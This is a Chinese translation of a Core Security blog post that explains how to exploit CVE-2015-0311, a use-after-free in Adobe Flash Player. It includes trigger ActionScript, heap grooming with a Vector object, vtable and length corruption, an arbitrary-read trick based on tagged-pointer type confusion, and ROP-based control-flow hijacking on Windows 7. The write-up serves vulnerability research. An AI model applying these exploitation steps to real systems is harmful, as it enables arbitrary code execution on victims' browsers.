Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player

0x00 前言

---

作者：Francisco Falcón

题目：Exploiting CVE-2015-0311: A Use-After-Free in Adobe Flash Player

地址：http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/

一月末，Adobe发布了Flash Player的APSA15-01安全公告，此公告修复了一个可影响FlashPlayer 16.0.0.287及之前版本的重要UAF漏洞（被确认为CVE-2015-0311）。攻击者通过诱使不知情用户访问一个包含有精心构造的恶意SWF Flash文件的网页，可在具有该漏洞的用户主机上执行任意代码。

该漏洞最早是作为一个被积极利用的零day在Angler Exploit Kit中被发现的。尽管利用代码用SecureSWF混淆工具高度混淆过，利用该漏洞的恶意软件样本还是变得公开可用，因此我决定深入底层研究该漏洞，完成漏洞利用并将相关模块写到Core Impact Pro和Core Insight中。

0x01 漏洞概览

---

当尝试解压缩用ActionScript中的zlib压缩过的ByteArray中的数据时，底层的ActionScript虚拟机（AVM）会在ByteArray::UncompressViaZlibVariant方法中处理该操作。该方法利用ByteArray::Grower类来动态增加存放解压缩数据的目标缓冲区的大小。

当成功增加了目标缓冲区后，Grower类的析构函数就会通知所有的ByteArray（压缩过的）的使用者必须使用增加后的缓冲区。全局属性ApplicationDomain.currentDomain.domainMemory就是ByteArray的一个使用者，该属性可以被设置为一个给定ByteArray的全局引用。引入ApplicationDomain.currentDomain.domainMemory的目的是通过使用avm2.intrinsics.memory包的底层AVM指令（如li8/si8, li16/si16, li32/si32），实现对ByteArray中的实际数据的快速读写操作。

当ByteArray中的数据不是合法的zlib压缩数据时，zlib库中的inflate()函数就会失败，从而引出我们接下来要讨论的一个问题。在执行失败的情况下，ByteArray::UncompressViaZlibVariant() 方法会通过释放掉增长的缓冲区并重置ByteArray的原始数据来执行回滚操作。

然而问题是，该方法并不通知使用者（ApplicationDomain.currentDomain.domainMemory）增长的缓冲区已经被释放掉，因此ApplicationDomain.currentDomain.domainMemory会继续保有一个指向已释放缓冲区的悬垂引用。

0x02 根源分析

---

让我们到AVM虚拟机的源码中看下，在AS代码中调用ByteArray对象的uncompress()方法时到底会发生什么。

当尝试解压缩ByteArray的数据时，AVM提供的ByteArray::Uncompress()方法（在core/ByteArrayGlue.cpp中定义）会根据数据的压缩算法调用一个相应的解压缩函数。我们接下来重点看下zlib压缩的情况。

#!c++
void ByteArray::Uncompress(CompressionAlgorithm algorithm)
{
    switch (algorithm) {
    case k_lzma:
        UncompressViaLzma();
        break;
    case k_zlib:
    default:
        UncompressViaZlibVariant(algorithm);
        break;
    }

ByteArray::UncompressViaZlibVariant()通过在循环中调用zlib库中的inflate()函数，来分块解压缩ByteArray中的数据，如下面的代码片段所示：

#!c++
void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm) 
{
        [...]
        while (error == Z_OK)
        {
            stream.next_out = scratch;
            stream.avail_out = kScratchSize;
            error = inflate(&stream, Z_NO_FLUSH);
            Write(scratch, kScratchSize - stream.avail_out);
        }

        inflateEnd(&stream);
        [...]

调用完zlib库的inflate()函数后，ByteArray的Write()方法就将解压缩后的块数据写入目的缓冲区中：

#!c++
void ByteArray::Write(const void* buffer, uint32_t count)
{
    if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow
        ThrowMemoryError();

    uint32_t writeEnd = m_position + count;

    Grower grower(this, writeEnd);
    grower.EnsureWritableCapacity();

    move_or_copy(m_buffer->array + m_position, buffer, count);
    m_position += count;
    if (m_buffer->length < m_position)
        m_buffer->length = m_position;
}

如上所示，该方法创建了Grower类的一个实例，然后通过调用实例的EnsureWritableCapacity()方法增加目标缓冲区的大小。Grower实例的范围仅限ByteArray::Write()方法中局部调用，因此当Write()方法执行完后，Grower类的析构函数就会默认被立刻调用。

下面是Grower类析构函数的部分代码。它调用了ByteArray类的NotifySubscribers()方法：

#!c++
ByteArray::Grower::~Grower()
{
    if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length)
{
    m_owner->NotifySubscribers();
}
[...]

ByteArray::NotifySubscribers()遍历ByteArray的所有使用者，并调用使用者对象的notifyGlobalMemoryChanged()方法来通知它们新增加的缓冲区地址和大小的改变：

#!c++
voidByteArray::NotifySubscribers()
{
    for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i)      
    {             
        AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);

        DomainEnv* subscriber = m_subscribers.get(i);
        if (subscriber)
        {
            subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length);
        }
        else
        {
            // Domain went away? remove link
            m_subscribers.removeAt(i);
            --i;
        }
    }
}

最后，DomainEnv::notifyGlobalMemoryChanged()方法会更新全局内存缓冲区的地址和大小。该方法真正改变ApplicationDomain.currentDomain.domainMemory的地址和大小：

#!c++
// memory changed so go through and update all reference to both the base
// and the size of the global memory
voidDomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
{
    AvmAssert(newBase != NULL); // real base address
    AvmAssert(newSize>= GLOBAL_MEMORY_MIN_SIZE); // big enough

    m_globalMemoryBase = newBase;
    m_globalMemorySize = (newSize> 0x7fffffff) ?0x7fffffff :newSize;
    TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024);
}

在所有这些调用链完成后，回到ByteArray::UncompressViaZlibVariant()方法的 ”inflate()和Write()”的循环中。如果循环中某个inflate()调用返回一个非0值，循环就会退出，同时会运行一个检查来判断数据有没有被完全解压缩。如果某处出错，就会执行一个回滚操作：调用TellGcDeleteBufferMemory() / mmfx_delete_array() 来释放掉新的内存，同时重置回原始ByteArray数据，如下所示：

#!c++
[...]
if (error == Z_STREAM_END)
    {
    // everything is cool
    [...]
else
    {
        // When we error:

        // 1) free the new buffer
TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
mmfx_delete_array(m_buffer->array);

if (cShared) {
               m_buffer = origBuffer;
             }

        // 2) put the original data back.
m_buffer->array    = origData;
m_buffer->length   = origLen;
m_buffer->capacity = origCap;
m_position         = origPos;
SetCopyOnWriteOwner(origCopyOnWriteOwner);
origBuffer = NULL; // release ref before throwing
toplevel()->throwIOError(kCompressedDataError);
    }

但是请注意：这里并没有任何操作通知使用者新的缓冲区已经被释放！因此，即使由于解压缩操作失败而导致新缓冲区被释放，ApplicationDomain.currentDomain.domainMemory 还是会保留新缓冲区的一个引用。我们稍后会间接引用该悬垂指针，因此这是一个use-after-free（UAF）漏洞。

0x03 触发UAF

---

可以通过以下步骤来重现产生悬垂指针的情况：先向ByteArray添加数据，再用zlib压缩，然后在0x200偏移位置用垃圾数据覆盖掉原来的压缩数据，然后将此ByteArray指派给ApplicationDomain.currentDomain.domainMemory以创建ByteArray的使用者，最后调用ByteArray的uncompress()方法。

为什么要从从0x200位置开始覆盖压缩数据呢？这是因为在ByteArray的开始位置保留一些合法的压缩数据可以保证第一次对inflate()的调用成功；而且这样ByteArray::Write()方法也会正常创建Grower类的实例，该实例会为保存解压缩的数据增加目标缓冲区的长度，并通知所有的使用者可以使用新增长的缓冲区了。

循环中，第二次调用“inflate()和Write()”时，inflate()函数会尝试解压缩我们构造的垃圾数据，因此一定会失败。然后ByteArray::UncompressViaZlibVariant()就会执行回滚操作，释放掉新增加的缓冲区，但同时却不会通知ByteArray的所有使用者，所以就产生了悬垂指针。

下面的ActionScript代码片段可以重现该漏洞，使ApplicationDomain.currentDomain.domainMemory引用已释放缓冲区：

#!c++
this.byte_array = new ByteArray();
this.byte_array.endian = Endian.LITTLE_ENDIAN;
this.byte_array.position = 0;
/* Initialize the ByteArray with some data */
while (count < 0x2000 / 4){
this.byte_array.writeUnsignedInt(0xfeedface + count);
count++;
}

/* Compress it with zlib */
this.byte_array.compress();

/* Overwrite the compressed data with junk, starting at offset 0x200 */
this.byte_array.position = 0x200;
while (pos < byte_array.length){
this.byte_array.writeByte(pos);
pos++;
}

/* Create a subscriber for that ByteArray */
ApplicationDomain.currentDomain.domainMemory = this.byte_array;

/* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
pointing to a buffer that is freed when the decompression fails. */
try{
this.byte_array.uncompress();
} catch(error:Error){
}

因此，就从这一点来说，我们已经令ApplicationDomain.currentDomain.domainMemory引用了已释放的内存，而ApplicationDomain.currentDomain.domainMemory的引用也是ByteArray类型的。我们尝试使用它的一些高层方法时，虽然好像是在操作一个合法的ByteArray，但实际上其操作的数据是错误的压缩数据。

我们回过头来再来看一下AVM虚拟机的源代码，并回想一下DomainEnv::notifyGlobalMemoryChanged()方法是如何更新全局内存缓冲区的地址和大小的：

#!c++
m_globalMemoryBase = newBase;
m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize;

m_globalMemoryBase(悬垂指针自身)和m_globalMemorySize都是DomainEnv类(core/DomainEnv.h)的成员。这些成员通过Getter方法来访问：

#!c++
REALLY_INLINE uint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
REALLY_INLINE uint32_t globalMemorySize() const { return m_globalMemorySize; }

到AVM的源代码中搜索下这两个Getter方法,我们可以在core/Interpreter.cpp文件中找到：

#!c++
#define MOPS_LOAD_INT(addr, type, call, result) \
MOPS_RANGE_CHECK(addr, type) \
union { const uint8_t* p8; const type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
result = *p;

#define MOPS_STORE_INT(addr, type, call, value) \
MOPS_RANGE_CHECK(addr, type) \
union { uint8_t* p8; type* p; }; \
p8 = envDomain->globalMemoryBase() + (addr); \
*p = (type)(value);

这两个宏也在同一个core/Interpreter.cpp文件中被使用：

#!c++
INSTR(li32) {
i1 = AvmCore::integer(sp[0]);   // i1 = addr
MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result
sp[0] = core->intToAtom(i32l);
NEXT;
}
[...]
INSTR(si32) {
i32l = AvmCore::integer(sp[-1]);// i32l = value
i1 = AvmCore::integer(sp[0]);   // i1 = addr
MOPS_STORE_INT(i1, uint32_t, si32, i32l);
sp -= 2;
NEXT;
}

就是这样！为了间接引用悬垂指针，我们需要使用avm2.intrinsics.memory包中的底层AVM指令，如 li8/si8, li16/si16, li32/si32等。这些指令，通过与ApplicationDomain.currentDomain.domainMemory的配合，能够提供对包含有ByteArray实际数据的底层原始缓冲区的快速读写操作，而跳过使用ByteArray类高层方法的开销。

li8/si8, li16/si16, li32/si32等指令隐式操作ApplicationDomain.currentDomain.domainMemory，如下面的ActionScript代码片段所示：

#!c++
/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */
var some_value:uint = li32(0x20);

/* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */
si32(0xffffffff, 0x20);

0x04 漏洞利用

---

为了达成对该漏洞的利用，在Web浏览器里调试含有该漏洞的Adobe Flash Player版本时，将需要在“inflate() and Write()”循环开始处设置断点：

第一次断点被命中后，通过跟踪ByteArray::Write()的调用直到DomainEnv::notifyGlobalMemoryChanged()方法，可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的。如下是Flash OCX二进制文件中的notifyGlobalMemoryChanged（）方法：

[EDX+0x14]保存了新缓冲区的地址，[EDX+0x18]则保存了新缓冲区的大小。

在我的测试环境中，ApplicationDomain.currentDomain.domainMemory更新为下图所示的值：缓冲区地址为0x0a98c000，缓冲区大小为0x1c32。

第二次调用inflate()将会触发失败，失败代码为0xfffffffb,因此执行流进入回滚程序（命名为cleanup_on_uncompress_error的）：

步入该函数中，我们可以看到它是通过调用TellGcDeleteBufferMemory()来释放缓冲区的：

注意到TellGcDeleteBufferMemory()的参数是0x0a98c000 (缓冲区地址) 和0x200f。此处0x200f是缓冲区的容量，是与缓冲区长度不同的（长度是0x1C32，如上面的截屏所示）。从core/ByteArrayGlue.h文件中可以看到：

#!c++
class Buffer : public FixedHeapRCObject
{
public:
    virtual void destroy();
    virtual ~Buffer();
    uint8_t* array;
    uint32_t capacity;
    uint32_t length;
};

Buffer.capacity是缓冲区可容纳的最大字节数（本例中为0x200f），而Buffer.length是实际使用的字节数（本例中为0x1C32），其不同之处就在于此。

调用完TellGcDeleteBufferMemory()之后，它立即调用了mmfx_delete_array()来完成缓冲区的释放操作。

既然缓冲区已经释放掉了，我们将在此缓冲区留下的内存“空洞”中分配一个有趣的对象。我使用了跟恶意样本中一样的方法来完成的，就是，创建一个新的占位ByteArray，其大小设为0x2000，然后通过调用其clear()方法释放掉该对象，最后再创建一个Vector.<Object> (510*3)对象。

这意味着，在这一点上，我们已经令ApplicationDomain.currentDomain.domainMemory（应该指向包含ByteArray真实数据的原始缓冲区）指向了一个Vector对象的起始处！因为我们可以通过利用像li32/si32这样的AVM指令在ApplicationDomain.currentDomain.domainMemory指向的内存中执行读写操作，我们就可以根据需要来读和修改Vector对象，包括它的元数据！

下图展示了触发bug后的期待状态与实际状态的不同，以及在缓冲区释放造成的内存空洞中的Vector对象的分配情况：

0x05 篡改Vector对象

---

Vector对象的内存布局如下：

$ ==> <Vector>   00010C00
$+4              00001FE0
$+8              08238000
$+C              082FA248
$+10             0793C000
$+14             09B8E018       <pointer to 
the_vector + 0x18 - useful if you need to obtain the address of the_vector>
$+18             00000010
$+1C             00000000
$+20 .vtable     61199418        OFFSET <Flash32_.Vector_vtable>  -> Overwrite it to hijack the execution flow
$+24 .length     000005FA       -> Overwrite it with 0xffffffff so you can read/write from/to any memory address
$+28 .elements[] 07A86BA1       the_vector[0]
$+2C             07A86BA1       the_vector[1]
$+30             07A86BA1       the_vector[2] 
...              xxxxxxxx       the_vector[n]

通过执行li32(0x20) 我们可以读取到Vector对象0x20偏移处的dword数据，这里是其虚函数表（vtable）；而能读到虚函数表的地址就足以确定Flash模块的基地址，因此也就可以绕过ASLR。

通过执行si32（0xffffffff,0x24），我们可以覆盖掉保存在Vector对象0x24偏移处的dword数据，该数据是对象的长度。设置这样新的长度（0xffffffff）将允许我们在需要时读/写浏览器进程空间中任意内存地址的数据---|||---|||其实在Windows 7 SP1下完成漏洞利用并不需要修改Vector的长度。

然后我们以ByteArray的形式构造ROP链，并将其保存为Vector的第一个element（不覆盖任何元数据）。

这个包含了我们构造的ROP链的ByteArray对象被存储为一个tagged pointer，那什么是tagged pointer呢？为增加指针所能存储的信息，Flash用指针的最后三个没有什么意义的bit来表示其自身的类型信息（摘自Haifei Li’s presentation from CanSecWest 2011），这种修改后的指针就是tagged pointer：

Untagged    = 000 (0)
Object      = 001 (1)
String      = 010 (2)
Namespace   = 011 (3)
"undefined" = 100 (4)
Boolean     = 101 (5)
Integer     = 110 (6)
Number      = 111 (7)

现在可以通过执行li32(0x28)来泄露出我们构造的ROP链（ByteArray对象）的地址---|||也就是执行一个原始的读操作，来读取Vector的第一个element，然后将读取到的tagged pointer再通过“address & 0xfffffff8”这样的按位与操作untag掉。

已经得到泄露出的ROP链（ByteArray对象）的指针后，我们接下来再去读取ByteArray对象0x40偏移处存放的DWORD数据，此处的DWORD是指向一个ByteArray::Buffer对象的指针。下面是所引用ByteArray对象的内存布局：

$ ==> <ByteArray>   71078F10  OFFSET <Flash32_.ByteArray_vtable>
$+4                 00000002
$+8                 069CFDD0
$+C                 0697E628
$+10                06831360
$+14                00000040
$+18                71078EB8  Flash32_.71078EB8
$+1C                71078EC0  Flash32_.71078EC0
$+20                71078EB4  Flash32_.71078EB4
$+24                710BD534  Flash32_.710BD534
$+28                06603080
$+2C                06432000
$+30                0688EFB8
$+34                00000000
$+38                00000000
$+3C                7108ACC8  Flash32_.7108ACC8
$+40                0686D5D8  <pointer to ByteArray::Buffer>
$+44                00000000

为读到存储在ByteArray对象0x40偏移处的dword，我决定使用Vupen的Nocolas Joly提出的一种利用技术，该技术通过修改（tagging）一个指针以使其按照Number（IEEE-754 double precision）类型来解析，从而产生一个类型混乱，该类型混乱会为我们提供一个默认基本数据类型，通过它可以读取任意地址的8字节数据。大概过程如下：

首先我们把我们将想要读取数据的地址修改为一个Number对象指针（将地址按位或上7--见上面的类型对应表），这样我们就成功地创建了一个类型混乱；然后我们通过执行si32(fake_number_object,0x2c)指令，将此指向Number对象的伪造指针存放到Vector的element[]数组中。

之后，我们读取伪造的Number对象（下方代码中的this.the_vector1）的值，并将其写入到一个备用ByteArray中；通过这种方法，我们想要读取的地址中的8个字节的数据就被存放到备用ByteArray中了。

#!c++
obj = this.the_vector[1];
z = new Number(obj);

var b:ByteArray = new ByteArray();
b.endian = Endian.LITTLE_ENDIAN;
b.writeDouble(z);

/* If pointer is aligned to 8, then we read the first dword */
if ((pointer & 7) == 0){
    result = b[3]*0x1000000 + b[2]*0x10000 + b[1]*0x100 + b[0];
}
/* else we read the second dword */
else{
    result = b[7]*0x1000000 + b[6]*0x10000 + b[5]*0x100 + b[4];
}
return result;

我们使用Number基本类型已经能够读取ByteArray对象0x40偏移处的dword数据，我之前提到过，该dword是指向ByteArray::Buffer的指针，然后我们可以再次使用该基本类型来读取到ByteArray::Buffer对象0x8偏移处的dword值，该dword值正是指向我们ROP链原始数据的指针。如下是ByteArray::Buffer对象的内存布局情况：

$==> <Buffer>     63D1945C  OFFSET <Flash32_.Buffer_vtable>
$+4               00000003
$+8  .array       06BC5000  <pointer to the raw data of the ByteArray>
$+C  .capacity    0000200F
$+10 .length      00001C32

这样我们就获取到了ROP链的地址（该例子中为0x06BC5000）；现在我们只需执行si32(address_of_rop_chain, 0x20)指令，将Vector对象的虚函数表覆盖为我们的ROP链，然后再调用Vector对象的toString()方法，此时被覆盖掉的虚函数表就会被间接引用以调用相应函数指针，而我们也就将执行流程劫持到了我们自己的ROP中，并最终完成任意代码执行：

new Number(this.the_vector.toString());

0x06 结论

---

本文中的UAF漏洞可以被用来读取及修改浏览器进程空间中的任意地址数据，允许攻击者绕过操作系统的保护策略如ASLR和DEP，并最终导致任意代码执行。

然而，你应该注意到本篇博文中描述的利用方法只适用于Windows 7 SP1，不适用于Windows 8.1 Update 3（发布于2014年11月）。为什么呢？在Windows 8 Update 3中，微软引入了一种新的缓解漏洞攻击利用的CFG（Control Flow Guard）机制。CFG在所有非直接调用前都插入了一次检查，以验证调用的目的地址是否是编译时被标记为“安全”的位置。运行时插入的验证失败，程序就检测到了破坏正常执行流的尝试并立即自动退出。

而Windows 8.1 Update 3中集成的Flash版本在编译时已启动了CFG机制，因此在攻击利用的最后步骤中，也就是我们尝试将Vector对象的虚函数表覆盖，并调用toString()方法以修改执行流程时，CFG检查函数就会检测到我们的伪造虚函数表，并立即结束进程，从而阻止了我们的攻击尝试。

这意味着Windows 8.1 Update 3中的Flash漏洞利用引入了新的障碍：CFG保护的绕过。

剧透提醒：我们还是设法绕过了CFG，并在Windows 8.1 Update 3中成功实现了该Flash漏洞的利用。因此请期待下一篇博文，我们将在其中详细解释是如何做到绕过CFG并实现漏洞利用的！